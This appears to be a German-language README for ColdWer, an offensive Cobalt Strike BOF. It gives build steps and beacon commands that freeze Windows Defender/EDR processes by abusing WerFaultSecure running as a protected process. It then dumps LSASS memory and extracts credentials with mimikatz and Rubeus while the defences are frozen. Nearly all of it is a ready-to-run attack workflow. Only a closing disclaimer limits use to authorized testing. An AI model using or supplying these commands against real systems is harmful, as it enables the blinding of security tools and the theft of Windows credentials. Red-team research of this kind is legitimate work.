C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Navigieren Sie zum Quellverzeichnis
cd src/

# Kompilieren des BOF (erfordert MinGW)
make

# Oder manuell:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Windows Defender PID finden
beacon> ps

# Prozess einfrieren
beacon> cw-freeze 1337

# Befehle ausführen während EDR/AV eingefroren ist
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Auftauen wenn fertig
beacon> cw-unfreeze

# Schritt 1: Win8.1 WerFaultSecure.exe hochladen
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Schritt 2: LSASS PID finden
beacon> ps

# Schritt 3: LSASS dumpen
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Schritt 4: Dump herunterladen
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Einfrieren mit Standardpfad
beacon> cw-freeze 1337

# Benutzerdefinierte WerFaultSecure.exe verwenden
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# LSASS dumpen
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Auftauen wenn fertig
beacon> cw-unfreeze

1. 🚀 WerFaultSecure.exe als PPL starten (WinTcb-Ebene)
                    ↓
2. 🎯 WerFaultSecure hängt sich an den Zielprozess an
                    ↓
3. ⏸️  MiniDumpWriteDump pausiert alle Ziel-Threads
                    ↓
4. 🥶 WerFaultSecure selbst pausieren → Ziel bleibt eingefroren
                    ↓
5. ✅ Befehle ausführen (EDR/AV kann nichts sehen!)
                    ↓
6. 🔥 WerFaultSecure beenden → Ziel taut auf

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS

Dieses Tool ist bestimmt für:
- Autorisierte Penetrationstests
- Red-Team-Operationen mit schriftlicher Genehmigung
- Sicherheitsforschung in kontrollierten Umgebungen

Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Unbefugter Zugriff auf Computersysteme ist illegal.